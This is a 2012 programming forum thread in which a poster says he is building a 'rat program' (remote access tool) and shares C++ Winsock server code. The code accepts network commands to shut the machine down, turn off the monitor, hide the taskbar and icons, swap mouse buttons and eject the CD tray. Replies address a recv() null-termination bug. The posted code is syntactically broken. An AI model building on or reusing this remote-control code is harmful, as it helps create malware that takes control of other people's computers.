-
November 16th, 2012, 04:25 PM
#1
winsock recv() problem
Im making a rat program and the recv function is not receiving.
here is my code
Code:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <iostream>
using namespace std;
int beep();
int ocd();
int ccd();
int htb();
int stb();
int cm();
int smb();
int rmb();
int hc();
int sc();
int mon();
int moff();
int ioff();
int ion();
int url();
int shutdown();
// our thread for recving commands
DWORD WINAPI receive_cmds(LPVOID lpParam)
{
printf("thread created\r\n");
// set our socket to the socket passed in as a parameter
SOCKET current_client = (SOCKET)lpParam;
// buffer to hold our recived data
char buf[100];
char buf2[100] = "";
// buffer to hold our sent data
char sendData[100];
// for error checking
int res;
int res2;
int res3;
char title[256]="";
char message[100];
// our recv loop
while(true)
{
res = recv(current_client,buf,sizeof(buf),0); // recv cmds
if(strstr(buf,"mib"))
{
recv(current_client,title,sizeof(title),0);
cout << title;
}
}
else
if(strstr(buf,"sd"))
{ // greet this user
printf("\nShutting Down");
shutdown();
Sleep(10);
}
else
if(strstr(buf,"url"))
{ // greet this user
printf("\nGoing to Microsoft.com");
url();
Sleep(10);
}
else
if(strstr(buf,"moff"))
{ // greet this user
printf("\nTurning montior off");
moff();
Sleep(10);
}
else
if(strstr(buf,"mon"))
{ // greet this user
printf("\nTurning monitor on");
mon();
Sleep(10);
}
else
if(strstr(buf,"ion"))
{ // greet this user
printf("\nShowing Icons");
ion();
Sleep(10);
} else
if(strstr(buf,"ioff"))
{ // greet this user
printf("\nHiding Icons");
ioff();
Sleep(10);
} else
if(strstr(buf,"sc"))
{ // greet this user
printf("\nShowing Clock");
sc();
Sleep(10);
} else
if(strstr(buf,"hc"))
{ // greet this user
printf("\nHiding Clock");
hc();
Sleep(10);
}else
if(strstr(buf,"cm"))
{ // greet this user
printf("\nCRAZY MOUSE");
cm();
Sleep(10);
} else
if(strstr(buf,"smb"))
{ // greet this user
printf("\nSwapping mouse button");
smb();
Sleep(10);
}else
if(strstr(buf,"rmb"))
{ // greet this user
printf("\nRestoring Mouse Button");
rmb();
Sleep(10);
} else
if(strstr(buf,"htb"))
{ // greet this user
printf("\nHiding Taskbar");
htb();
Sleep(10);
} else
if(strstr(buf,"stb"))
{ // greet this user
printf("\nShowing Taskbar");
stb();
Sleep(10);
} else
if(strstr(buf,"ccd"))
{ // greet this user
printf("\nClosing CD-ROM");
ccd();
Sleep(10);
} else
if(strstr(buf,"ocd"))
{ // greet this user
printf("\nOpening CD-ROM");
ocd();
Sleep(10);
} else
if(strstr(buf,"beep"))
{ // greet this user
printf("\nBeeeping");
beep();
Sleep(10);
}
// clear buffers
strcpy(sendData,"");
strcpy(buf,"");
}
}
int main()
{
printf("Starting up multi-threaded TCP server by KOrUPt\r\n");
// our masterSocket(socket that listens for connections)
SOCKET sock;
// for our thread
DWORD thread;
WSADATA wsaData;
sockaddr_in server;
// start winsock
int ret = WSAStartup(0x101,&wsaData); // use highest version of winsock avalible
if(ret != 0)
{
return 0;
}
// fill in winsock struct ...
server.sin_family=AF_INET;
server.sin_addr.s_addr=INADDR_ANY;
server.sin_port=htons(666); // listen on telnet port 23
// create our socket
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock == INVALID_SOCKET)
{
return 0;
}
// bind our socket to a port(port 123)
if( bind(sock,(sockaddr*)&server,sizeof(server)) !=0 )
{
return 0;
}
// listen for a connection
if(listen(sock,5) != 0)
{
return 0;
}
// socket that we snedzrecv data on
SOCKET client;
sockaddr_in from;
int fromlen = sizeof(from);
// loop forever
while(true)
{
// accept connections
client = accept(sock,(struct sockaddr*)&from,&fromlen);
printf("Client connected\r\n");
// create our recv_cmds thread and parse client socket as a parameter
CreateThread(NULL, 0,receive_cmds,(LPVOID)client, 0, &thread);
}
// shutdown winsock
closesocket(sock);
WSACleanup();
// exit
return 0;
}
int beep()
{
Beep(1000,100);
}
int ocd()
{
mciSendString("set cdaudio door open wait", NULL, 0, 0);
}
int ccd()
{
mciSendString("Set CDAudio Door Closed Wait", 0, 0, 0);
}
int htb()
{
ShowWindow(FindWindow("Shell_TrayWnd",""),SW_HIDE);
}
int stb()
{
ShowWindow(FindWindow("Shell_TrayWnd",""),SW_SHOW);
}
int cm()
{
int i = 0;
while(i<100)
{
Sleep(10);
int x = rand()%1000;
int y = rand()%700;
SetCursorPos(x, y);
i++;
}}
int rmb()
{
SwapMouseButton( FALSE );
}
int smb()
{
SwapMouseButton( TRUE );
}
int sc()
{
HWND h1 = FindWindowEx(FindWindowEx(FindWindow("Shell_TrayWnd", NULL),
NULL, "TrayNotifyWnd", NULL), NULL, "TrayClockWClass", NULL);
ShowWindow(h1, SW_SHOW);
}
int hc()
{
HWND h1 = FindWindowEx(FindWindowEx(FindWindow("Shell_TrayWnd", NULL),
NULL, "TrayNotifyWnd", NULL), NULL, "TrayClockWClass", NULL);
ShowWindow(h1, SW_HIDE);
}
int moff()
{
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
// Higher number is longer monitor off.
Sleep(500);
}
int mon()
{
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
}
int ion()
{
HWND hw;
hw = FindWindowEx(0,0,"Progman", NULL);
ShowWindow(hw, SW_SHOW);
}
int ioff()
{
HWND hw;
hw = FindWindowEx(0,0,"Progman", NULL);
ShowWindow(hw, SW_HIDE);
}
int url()
{
ShellExecute(NULL, "open", "http://microsoft.com",NULL, NULL, SW_SHOWNORMAL);
}
int shutdown()
{
system("shutdown -s -t 10");
}
First the client sends "mib". Server gets "mib" in if statement. But the recv in the if block does not recv the next statemnt sent from client.
-
November 16th, 2012, 05:11 PM
#2
Re: winsock recv() problem
I fixed the problem. instead of using SIZEOF i just manually put i the bits in the RECV command.
is there anythign else i can use instead of SIZEOF
Code:
recv(current_client,buf2,sizeof(buf2),0);
-
November 16th, 2012, 05:20 PM
#3
Re: winsock recv() problem
I don't have any of my network code (to peek into) available so the only thing I can comment at the moment is
int ret = WSAStartup(0x101,&wsaData); all I can comment // use highest version of winsock avalible
See http://msdn.microsoft.com/en-us/libr...(v=vs.85).aspxI wish my memory was better but it's not...
Last edited by S_M_A; November 17th, 2012 at 11:17 AM.
-
November 17th, 2012, 03:28 AM
#4
Re: winsock recv() problem
Originally Posted by terryeverlast
I fixed the problem. instead of using SIZEOF i just manually put i the bits in the RECV command.
is there anythign else i can use instead of SIZEOF
Your problem was somewhere else. There's nothing wrong with sizeof, and the problem is most probably the way you send title to cout. That recv just receives bytes, it does not take care about terminating the byte chain with NULL. You should take care of this title making to be a string.
Best regards,
Igor
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|